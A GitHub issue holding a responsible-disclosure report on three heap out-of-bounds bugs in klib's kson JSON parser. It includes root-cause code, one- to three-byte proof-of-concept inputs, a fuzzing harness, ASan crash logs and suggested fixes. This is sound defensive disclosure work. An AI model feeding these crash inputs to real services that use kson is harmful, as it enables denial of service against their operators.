Skip to content

Vulnerability Report — klib kson JSON parser: heap out-of-bounds read/write in kson_parse_core() #194

Description

@H4niz

Vulnerability Report — klib kson JSON parser: heap out-of-bounds read/write in kson_parse_core()

Responsible-disclosure report. Vulnerabilities discovered by SEFF (Semantic-Enriched
Fuzzing Framework — AFL++ + AddressSanitizer, autonomous harness generation + triage) and
manually verified. Shared privately for a fix before any public discussion.


1. Summary

Project klib — a generic C library (attractivechaos/klib)
Component kson — the bundled single-file JSON parser (kson.c / kson.h)
Vulnerable commit 97a0fcb790b43b9e5da8994f4671021fec036f19 ("added block arena")
Vulnerable function kson_parse_core() — reached from the public API kson_parse() (kson.c:121)
Bug class CWE-125 Out-of-Bounds Read (3 sites) + CWE-787 Out-of-Bounds Write (site 1, latent)
Detector AddressSanitizer — heap-buffer-overflow (READ of size 8 / size 1)
Attack surface Any application that passes attacker-controlled text to kson_parse()
Impact Denial of Service (crash) guaranteed; potential heap-metadata corruption (site 1 write) and limited information disclosure
Severity Medium — CVSS 3.1 6.5 (site 1); Sites 2 & 3 Medium 5.3. Site 1 rises to High if the latent OOB write is reachable in a hardened allocator.
Reporter Anh, Nguyen Le Quoc aka h4niz

kson_parse() copies the caller's text into a heap buffer and parses it in place,
relying on NUL-termination for bounds. Three distinct code paths in kson_parse_core()
violate the buffer bounds:

# Site Trigger (hex / printable) Read size Primitive
1 kson.c:80 5b3a30[:0 8 OOB read of a[-1].v.str + latent OOB write to a[-1].key
2 kson.c:40 27' 1 OOB read (*p) — cursor advanced past NUL
3 kson.c:90 5c\ 1 OOB read (*q) — \-escape jumps past NUL

All three are reachable from a single call to kson_parse() on untrusted input, and each
reproduces deterministically on inputs of 1–3 bytes.


2. CVSS 3.1

Site 1 (kson.c:80) — headline score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:LBase 6.5 (Medium)

  • AV:N — JSON is very commonly parsed straight from network/RPC/file inputs; the
    library exposes no trust boundary of its own.
  • C:L — the OOB read loads an 8-byte pointer from before the heap allocation and stores
    it as a node key; a caller that later prints/serializes keys can leak adjacent heap data.
  • A:L — reliable crash (DoS) under ASan/hardened builds.
  • Note (write amplifier): the same statement also performs an OOB write to
    a[-1].key. It is masked here only because ASan aborts on the earlier read. With the read
    fixed (or on an unsanitized hardened allocator) this becomes an 8-byte heap write 8 bytes
    before a live allocation → I:H/A:H, CVSS ≈ 8.1 (High). Treat site 1 as High for
    triage.

Sites 2 & 3 (kson.c:40, kson.c:90) — read-only, size 1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LBase 5.3 (Medium) — single-byte OOB
read, demonstrated impact is a crash (DoS).


3. Affected code & root cause

The parser mixes two kinds of value on one stack[]: node indices (≥ 0) and
container/key type markers (-1 bracket, -2 brace, -3 key). Several sites treat a
marker as if it were a node index, or advance the read cursor without a length bound.

Site 1 — invalid negative index used as array subscript (kson.c:74–80)

} else {                                     // a bare value or the value of key:value
    int c = *p;
    // get the node to modify
    if (top >= 2 && stack[top-1] == -3) {    // we have a key:value pair here
        --top;
        u = &a[stack[top-1]];                // kson.c:79  <-- stack[top-1] may be a MARKER (-1/-2), not an index
        u->key = u->v.str;                   // kson.c:80  <-- OOB READ of a[-1].v.str  (+ OOB WRITE a[-1].key)
    } else {
        __push_back(n_a);
        __new_node(&u);
    }

For the input [:0:

Step Token stack[] after Note
1 [ [0, -1] pushes node index 0, then bracket marker -1
2 : [0, -1, -3] pushes key marker -3
3 0 stack[top-1] == -3--topstack[top-1] == -1u = &a[-1]

a is the heap node array (kson_node_t, 24 bytes each). &a[-1] points 8 bytes before
the allocation start
(see shadow map in the evidence). u->key = u->v.str then reads
a[-1].v.str (union at offset +16 → the address 8 bytes before the region) and writes
a[-1].key (offset +8). The stack[] never guarantees that stack[top-1] (after popping
the -3) is a non-negative node index.

Sites 2 & 3 — cursor advanced past the NUL terminator (kson.c:40, 86–95)

for (p = json; *p; ++p) {                    // kson.c:40  <-- Site 2 dereferences *p after over-advance
    ...
    // parse string / bare value
    if (c == '\'' || c == '"') {
        for (q = ++p; *q && *q != c; ++q)    // kson.c:87
            if (*q == '\\') ++q;             // kson.c:88  escape: unconditional ++q
    } else {
        for (q = p; *q && *q != ']' && *q != '}' && *q != ',' && *q != ':' && *q != '\n'; ++q)  // kson.c:90  <-- Site 3
            if (*q == '\\') ++q;             // kson.c:91  same unbounded skip
    }
    ...
    p = c == '\'' || c == '"'? q : q - 1;    // kson.c:95  p may now point at/after the buffer end
}
  • Site 3 (\): the bare-value scanner sees *q == '\\', does ++q (now at the NUL),
    and the for step ++q moves past the NUL; the loop condition then reads *q one
    byte beyond the allocation.
  • Site 2 ('): an unterminated quote makes q = ++p land on the NUL, the inner loop
    exits immediately, p = q, and the outer for (...; *p; ++p)'s ++p steps past the NUL;
    the next *p at kson.c:40 reads out of bounds.

The unifying defect: every scan uses the NUL byte as the only end sentinel, but the escape
handling and quote handling can each skip that sentinel
, so the cursor escapes the buffer.


4. Proof of Concept

Three minimal PoC files (klib.zip):

printf '[:0'  > poc_site1_bracket.bin     # 5b 3a 30   -> kson.c:80  (READ size 8 + latent WRITE)
printf "'"    > poc_site2_squote.bin      # 27         -> kson.c:40  (READ size 1)
printf '\\'   > poc_site3_backslash.bin   # 5c         -> kson.c:90  (READ size 1)
PoC File Bytes
Site 1 poc/klib_line80_bracket.bin 5b 3a 30 (3 B)
Site 2 poc/klib_line40_squote.bin 27 (1 B)
Site 3 poc/klib_line90_backslash.bin 5c (1 B)

5. Harness — build & run

5.1 The harness (seff_harness.c)

A 12-line driver that reproduces exactly what a real caller does — read bytes, NUL-terminate,
hand them to the public kson_parse():

/* seff_harness.c — reproduces a real kson_parse() caller */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "kson.h"

int main(int argc, char **argv) {
    FILE *f = (argc > 1) ? fopen(argv[1], "rb") : stdin;
    if (!f) return 0;
    static char buf[1 << 20];
    size_t n = fread(buf, 1, sizeof buf, f);   // read the whole input file
    if (argc > 1) fclose(f);
    char *in = (char *)malloc(n + 1);          // EXACT-size heap buffer (n + 1 for the NUL)
    memcpy(in, buf, n); in[n] = 0;             // NUL-terminate, mirroring typical usage
    kson_t *k = kson_parse(in);                // <-- the only API call under test
    if (k) kson_destroy(k);
    free(in);
    return 0;
}

Why this harness is faithful and why it detects the bug:

  • kson_parse() is the documented public entry point; feeding it file contents is the exact
    pattern used by kson.c's own main() (KSON_MAIN).
  • The buffer is allocated with malloc(n + 1) — the tightest legal allocation. This is
    what makes ASan's redzone sit immediately after the JSON text, so any 1-byte over-read
    (sites 2/3) is caught. A large static buffer would hide these bugs (the classic reason
    such over-reads go unnoticed in the field: they read into unrelated valid heap/globals).
  • No fuzzer hooks are needed — a normal argv[1] file path drives one parse per run.

5.2 Build (AddressSanitizer + UBSan)

# LLVM/clang (afl-clang-fast used originally; plain clang works identically for repro)
clang -fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all -g \
      -I /path/to/klib \
      /path/to/klib/seff_harness.c /path/to/klib/kson.c \
      -o harness_asan

5.3 Run / trigger

ASAN_OPTIONS=detect_leaks=0:symbolize=1 ./harness_asan poc_site1_bracket.bin
# ==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 8 ...
#   #0 kson_parse_core kson.c:80  #1 kson_parse kson.c:126  #2 main seff_harness.c:14

Trigger conditions (per site):

  • Site 1: any input where a container-open marker ([ or {) sits directly beneath a
    key marker on the stack when a value token arrives — minimal form [:0 (also {:0, etc.).
  • Site 2: a value/string whose closing quote is missing so the scan cursor reaches the
    final NUL and the outer loop steps past it — minimal form a lone ' (or ").
  • Site 3: a \ escape as (or near) the last byte, so the unconditional ++q skips the
    NUL — minimal form a lone \.

6. Evidence

klib_asan.zip

Site 1 — [:0 (READ size 8, located 8 bytes before the node array)

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7119acde0018 ...
READ of size 8 at 0x7119acde0018 thread T0
    #0 kson_parse_core /tmp/seff_targets/klib/kson.c:80:19
    #1 kson_parse      /tmp/seff_targets/klib/kson.c:126:15
    #2 main            /tmp/seff_targets/klib/seff_harness.c:14:17

0x7119acde0018 is located 8 bytes before 96-byte region [0x7119acde0020,0x7119acde0080)
allocated by thread T0 here:
    #0 realloc
    #1 kson_parse_core /tmp/seff_targets/klib/kson.c:48:5     <-- the node array `a`
SUMMARY: AddressSanitizer: heap-buffer-overflow kson.c:80:19 in kson_parse_core
Shadow: =>0x...0000: fa fa fa[fa]00 00 ...   (read lands in the heap LEFT redzone `fa`)

The [fa]-marked shadow byte confirms the access is in the left redzone (i.e. a[-1]),
and the 96-byte region is the 4-slot node array (4 × sizeof(kson_node_t)=24 = 96).

Site 2 — ' (READ size 1 at kson.c:40)

READ of size 1 at 0x6dd06c7e0012 thread T0
    #0 kson_parse_core kson.c:40:17
    #1 kson_parse      kson.c:126:15
    #2 main            seff_harness.c:14:17
allocated by thread T0 here:
    #1 main            seff_harness.c:12:24     <-- the malloc(n+1) input buffer
SUMMARY: heap-buffer-overflow kson.c:40:17 in kson_parse_core

Site 3 — \ (READ size 1 at kson.c:90)

READ of size 1 at 0x75fe9d9e0012 thread T0
    #0 kson_parse_core kson.c:90:17
    #1 kson_parse      kson.c:126:15
    #2 main            seff_harness.c:14:17
SUMMARY: heap-buffer-overflow kson.c:90:17 in kson_parse_core

7. Suggested fix

The clean fix is to stop trusting NUL as the sole bound and to validate stack contents
before using them as indices.

1. Track an explicit end pointer and bound every scan (fixes sites 2 & 3):

const char *end = json + strlen(json);   // or take an explicit length parameter
...
if (c == '\'' || c == '"') {
    for (q = ++p; q < end && *q != c; ++q)
        if (*q == '\\' && q + 1 < end) ++q;   // never skip past `end`
} else {
    for (q = p; q < end && *q != ']' && *q != '}' && *q != ',' && *q != ':' && *q != '\n'; ++q)
        if (*q == '\\' && q + 1 < end) ++q;
}

and guard the outer loop / re-entry: p = (c=='\'' || c=='"') ? q : q - 1; must satisfy
p < end before the next ++p/*p.

2. Validate the node index before dereferencing (fixes site 1 read and the latent write):

if (top >= 2 && stack[top-1] == -3) {
    --top;
    if (stack[top-1] < 0) {                 // marker, not a node index
        *error = KSON_ERR_NO_KEY;           // or a new KSON_ERR_INVALID
        break;
    }
    u = &a[stack[top-1]];
    u->key = u->v.str;
}

3. Preferred API hardening: add a length-taking entry point
kson_parse_n(const char *json, size_t len) so callers with non-NUL-terminated buffers are
safe by construction, and treat stack[] markers vs. indices with a tagged type instead of
sign overloading.


8. Disclosure notes

  • kson is a compact, widely-copied single-file JSON parser; these are memory-safety defects
    reachable from any untrusted JSON input, on inputs as small as one byte.
  • Verified impact: reliable crash (DoS). Site 1 additionally exhibits a latent OOB write
    (a[-1].key = …) that ASan masks behind the earlier read — this warrants High-severity
    handling and a check on whether the written pointer is later free()d by kson_destroy().
  • Discovered autonomously by SEFF (AFL++ + ASan), then minimized and root-caused manually.
    ASan logs, PoCs, and the exact build command are included; happy to provide additional
    reproducers or coordinate a fix timeline.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions